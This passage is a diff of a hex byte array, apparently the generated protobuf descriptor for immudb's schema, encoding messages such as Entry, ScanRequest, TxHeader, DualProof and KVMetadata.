0x0a, 0x07, 0x65, 0x6e, - 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, - 0x79, 0x52, 0x07, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x82, 0x01, 0x0a, 0x06, 0x5a, - 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x65, 0x74, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x0c, 0x52, 0x03, 0x73, 0x65, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2a, 0x0a, 0x05, 0x65, 0x6e, 0x74, - 0x72, 0x79, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x05, - 0x65, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x73, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x04, - 0x20, 0x01, 0x28, 0x01, 0x52, 0x05, 0x73, 0x63, 0x6f, 0x72, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x61, - 0x74, 0x54, 0x78, 0x18, 0x05, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x61, 0x74, 0x54, 0x78, 0x22, - 0x3b, 0x0a, 0x08, 0x5a, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x12, 0x2f, 0x0a, 0x07, 0x65, - 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x15, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x45, 0x6e, - 0x74, 0x72, 0x79, 0x52, 0x07, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x95, 0x02, 0x0a, - 0x0b, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x18, 0x0a, 0x07, - 0x73, 0x65, 0x65, 0x6b, 0x4b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x73, - 0x65, 0x65, 0x6b, 0x4b, 0x65, 0x79, 0x12, 0x16, 0x0a, 0x06, 0x65, 0x6e, 0x64, 0x4b, 0x65, 0x79, - 0x18, 0x07, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x06, 0x65, 0x6e, 0x64, 0x4b, 0x65, 0x79, 0x12, 0x16, - 0x0a, 0x06, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x06, - 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x03, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x14, 0x0a, 0x05, 0x6c, 0x69, - 0x6d, 0x69, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, - 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x05, 0x20, 0x01, 0x28, - 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, - 0x57, 0x61, 0x69, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, - 0x69, 0x74, 0x12, 0x24, 0x0a, 0x0d, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x76, 0x65, 0x53, - 0x65, 0x65, 0x6b, 0x18, 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x69, 0x6e, 0x63, 0x6c, 0x75, - 0x73, 0x69, 0x76, 0x65, 0x53, 0x65, 0x65, 0x6b, 0x12, 0x22, 0x0a, 0x0c, 0x69, 0x6e, 0x63, 0x6c, - 0x75, 0x73, 0x69, 0x76, 0x65, 0x45, 0x6e, 0x64, 0x18, 0x09, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, - 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x76, 0x65, 0x45, 0x6e, 0x64, 0x12, 0x16, 0x0a, 0x06, - 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x04, 0x52, 0x06, 0x6f, 0x66, - 0x66, 0x73, 0x65, 0x74, 0x22, 0x23, 0x0a, 0x09, 0x4b, 0x65, 0x79, 0x50, 0x72, 0x65, 0x66, 0x69, - 0x78, 0x12, 0x16, 0x0a, 0x06, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x0c, 0x52, 0x06, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x22, 0x22, 0x0a, 0x0a, 0x45, 0x6e, 0x74, - 0x72, 0x79, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x63, 0x6f, 0x75, 0x6e, 0x74, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x47, 0x0a, - 0x09, 0x53, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x70, 0x75, - 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x09, 0x70, - 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x12, 0x1c, 0x0a, 0x09, 0x73, 0x69, 0x67, 0x6e, - 0x61, 0x74, 0x75, 0x72, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x09, 0x73, 0x69, 0x67, - 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x22, 0xf1, 0x01, 0x0a, 0x08, 0x54, 0x78, 0x48, 0x65, 0x61, - 0x64, 0x65, 0x72, 0x12, 0x0e, 0x0a, 0x02, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, - 0x02, 0x69, 0x64, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x72, 0x65, 0x76, 0x41, 0x6c, 0x68, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x70, 0x72, 0x65, 0x76, 0x41, 0x6c, 0x68, 0x12, 0x0e, 0x0a, - 0x02, 0x74, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x02, 0x74, 0x73, 0x12, 0x1a, 0x0a, - 0x08, 0x6e, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x04, 0x20, 0x01, 0x28, 0x05, 0x52, - 0x08, 0x6e, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x12, 0x0e, 0x0a, 0x02, 0x65, 0x48, 0x18, - 0x05, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x02, 0x65, 0x48, 0x12, 0x16, 0x0a, 0x06, 0x62, 0x6c, 0x54, - 0x78, 0x49, 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x04, 0x52, 0x06, 0x62, 0x6c, 0x54, 0x78, 0x49, - 0x64, 0x12, 0x16, 0x0a, 0x06, 0x62, 0x6c, 0x52, 0x6f, 0x6f, 0x74, 0x18, 0x07, 0x20, 0x01, 0x28, - 0x0c, 0x52, 0x06, 0x62, 0x6c, 0x52, 0x6f, 0x6f, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x76, 0x65, 0x72, - 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x08, 0x20, 0x01, 0x28, 0x05, 0x52, 0x07, 0x76, 0x65, 0x72, 0x73, - 0x69, 0x6f, 0x6e, 0x12, 0x35, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, - 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, - 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x22, 0x48, 0x0a, 0x0a, 0x54, 0x78, - 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x75, 0x6e, - 0x63, 0x61, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, - 0x0d, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, 0x12, 0x14, - 0x0a, 0x05, 0x65, 0x78, 0x74, 0x72, 0x61, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x05, 0x65, - 0x78, 0x74, 0x72, 0x61, 0x22, 0x63, 0x0a, 0x0b, 0x4c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x50, 0x72, - 0x6f, 0x6f, 0x66, 0x12, 0x1e, 0x0a, 0x0a, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x54, 0x78, 0x49, - 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0a, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x54, - 0x78, 0x49, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x54, 0x78, 0x49, - 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0a, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x54, - 0x78, 0x49, 0x64, 0x12, 0x14, 0x0a, 0x05, 0x74, 0x65, 0x72, 0x6d, 0x73, 0x18, 0x03, 0x20, 0x03, - 0x28, 0x0c, 0x52, 0x05, 0x74, 0x65, 0x72, 0x6d, 0x73, 0x22, 0x89, 0x01, 0x0a, 0x12, 0x4c, 0x69, - 0x6e, 0x65, 0x61, 0x72, 0x41, 0x64, 0x76, 0x61, 0x6e, 0x63, 0x65, 0x50, 0x72, 0x6f, 0x6f, 0x66, - 0x12, 0x2a, 0x0a, 0x10, 0x6c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x54, - 0x65, 0x72, 0x6d, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x10, 0x6c, 0x69, 0x6e, 0x65, - 0x61, 0x72, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x54, 0x65, 0x72, 0x6d, 0x73, 0x12, 0x47, 0x0a, 0x0f, - 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x73, 0x18, - 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, - 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x0f, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, - 0x72, 0x6f, 0x6f, 0x66, 0x73, 0x22, 0xc8, 0x03, 0x0a, 0x09, 0x44, 0x75, 0x61, 0x6c, 0x50, 0x72, - 0x6f, 0x6f, 0x66, 0x12, 0x3f, 0x0a, 0x0e, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x54, 0x78, 0x48, - 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, - 0x61, 0x64, 0x65, 0x72, 0x52, 0x0e, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x54, 0x78, 0x48, 0x65, - 0x61, 0x64, 0x65, 0x72, 0x12, 0x3f, 0x0a, 0x0e, 0x74, 0x61, 0x72, 0x67, 0x65, 0x74, 0x54, 0x78, - 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, - 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x0e, 0x74, 0x61, 0x72, 0x67, 0x65, 0x74, 0x54, 0x78, 0x48, - 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x26, 0x0a, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, - 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x0e, 0x69, - 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x2a, 0x0a, - 0x10, 0x63, 0x6f, 0x6e, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x63, 0x79, 0x50, 0x72, 0x6f, 0x6f, - 0x66, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x10, 0x63, 0x6f, 0x6e, 0x73, 0x69, 0x73, 0x74, - 0x65, 0x6e, 0x63, 0x79, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x61, 0x72, - 0x67, 0x65, 0x74, 0x42, 0x6c, 0x54, 0x78, 0x41, 0x6c, 0x68, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, - 0x52, 0x0d, 0x74, 0x61, 0x72, 0x67, 0x65, 0x74, 0x42, 0x6c, 0x54, 0x78, 0x41, 0x6c, 0x68, 0x12, - 0x2e, 0x0a, 0x12, 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, - 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x06, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x12, 0x6c, 0x61, 0x73, - 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, - 0x3c, 0x0a, 0x0b, 0x6c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x07, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x50, 0x72, 0x6f, 0x6f, 0x66, - 0x52, 0x0b, 0x6c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x51, 0x0a, - 0x12, 0x4c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x41, 0x64, 0x76, 0x61, 0x6e, 0x63, 0x65, 0x50, 0x72, - 0x6f, 0x6f, 0x66, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x69, 0x6e, 0x65, 0x61, 0x72, - 0x41, 0x64, 0x76, 0x61, 0x6e, 0x63, 0x65, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x12, 0x4c, 0x69, - 0x6e, 0x65, 0x61, 0x72, 0x41, 0x64, 0x76, 0x61, 0x6e, 0x63, 0x65, 0x50, 0x72, 0x6f, 0x6f, 0x66, - 0x22, 0xe3, 0x01, 0x0a, 0x0b, 0x44, 0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x56, 0x32, - 0x12, 0x3f, 0x0a, 0x0e, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, - 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, - 0x72, 0x52, 0x0e, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, - 0x72, 0x12, 0x3f, 0x0a, 0x0e, 0x74, 0x61, 0x72, 0x67, 0x65, 0x74, 0x54, 0x78, 0x48, 0x65, 0x61, - 0x64, 0x65, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, - 0x65, 0x72, 0x52, 0x0e, 0x74, 0x61, 0x72, 0x67, 0x65, 0x74, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, - 0x65, 0x72, 0x12, 0x26, 0x0a, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, - 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x0e, 0x69, 0x6e, 0x63, 0x6c, - 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x2a, 0x0a, 0x10, 0x63, 0x6f, - 0x6e, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x63, 0x79, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x04, - 0x20, 0x03, 0x28, 0x0c, 0x52, 0x10, 0x63, 0x6f, 0x6e, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x63, - 0x79, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x22, 0xce, 0x01, 0x0a, 0x02, 0x54, 0x78, 0x12, 0x2f, 0x0a, - 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, - 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x30, - 0x0a, 0x07, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, - 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x07, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, - 0x12, 0x32, 0x0a, 0x09, 0x6b, 0x76, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x03, 0x20, - 0x03, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x6b, 0x76, 0x45, 0x6e, 0x74, - 0x72, 0x69, 0x65, 0x73, 0x12, 0x31, 0x0a, 0x08, 0x7a, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, - 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x7a, - 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x94, 0x01, 0x0a, 0x07, 0x54, 0x78, 0x45, 0x6e, - 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, - 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x16, 0x0a, 0x06, 0x68, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x06, 0x68, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x12, 0x0a, - 0x04, 0x76, 0x4c, 0x65, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x05, 0x52, 0x04, 0x76, 0x4c, 0x65, - 0x6e, 0x12, 0x35, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x04, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x56, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x52, 0x08, - 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x85, - 0x01, 0x0a, 0x0a, 0x4b, 0x56, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, 0x18, 0x0a, - 0x07, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, - 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x12, 0x39, 0x0a, 0x0a, 0x65, 0x78, 0x70, 0x69, 0x72, - 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x70, 0x69, - 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x65, 0x78, 0x70, 0x69, 0x72, 0x61, 0x74, 0x69, - 0x6f, 0x6e, 0x12, 0x22, 0x0a, 0x0c, 0x6e, 0x6f, 0x6e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x61, 0x62, - 0x6c, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x6e, 0x6f, 0x6e, 0x49, 0x6e, 0x64, - 0x65, 0x78, 0x61, 0x62, 0x6c, 0x65, 0x22, 0x2a, 0x0a, 0x0a, 0x45, 0x78, 0x70, 0x69, 0x72, 0x61, - 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1c, 0x0a, 0x09, 0x65, 0x78, 0x70, 0x69, 0x72, 0x65, 0x73, 0x41, - 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x65, 0x78, 0x70, 0x69, 0x72, 0x65, 0x73, - 0x41, 0x74, 0x22, 0xa1, 0x01, 0x0a, 0x0c, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, - 0x65, 0x54, 0x78, 0x12, 0x21, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x54, 0x78, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, + 0x64, 0x61, 0x74, 0x61, 0x22, 0x48, 0x0a, 0x0a, 0x54, 0x78, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, + 0x74, 0x61, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x64, 0x54, + 0x78, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x75, 0x6e, 0x63, + 0x61, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, 0x12, 0x14, 0x0a, 0x05, 0x65, 0x78, 0x74, 0x72, + 0x61, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x05, 0x65, 0x78, 0x74, 0x72, 0x61, 0x22, 0x63, + 0x0a, 0x0b, 0x4c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x1e, 0x0a, + 0x0a, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x54, 0x78, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x04, 0x52, 0x0a, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x54, 0x78, 0x49, 0x64, 0x12, 0x1e, 0x0a, + 0x0a, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x54, 0x78, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x04, 0x52, 0x0a, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x54, 0x78, 0x49, 0x64, 0x12, 0x14, 0x0a, + 0x05, 0x74, 0x65, 0x72, 0x6d, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x05, 0x74, 0x65, + 0x72, 0x6d, 0x73, 0x22, 0x89, 0x01, 0x0a, 0x12, 0x4c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x41, 0x64, + 0x76, 0x61, 0x6e, 0x63, 0x65, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x2a, 0x0a, 0x10, 0x6c, 0x69, + 0x6e, 0x65, 0x61, 0x72, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x54, 0x65, 0x72, 0x6d, 0x73, 0x18, 0x01, + 0x20, 0x03, 0x28, 0x0c, 0x52, 0x10, 0x6c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x50, 0x72, 0x6f, 0x6f, + 0x66, 0x54, 0x65, 0x72, 0x6d, 0x73, 0x12, 0x47, 0x0a, 0x0f, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, + 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, + 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x0f, + 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x73, 0x22, + 0xc8, 0x03, 0x0a, 0x09, 0x44, 0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 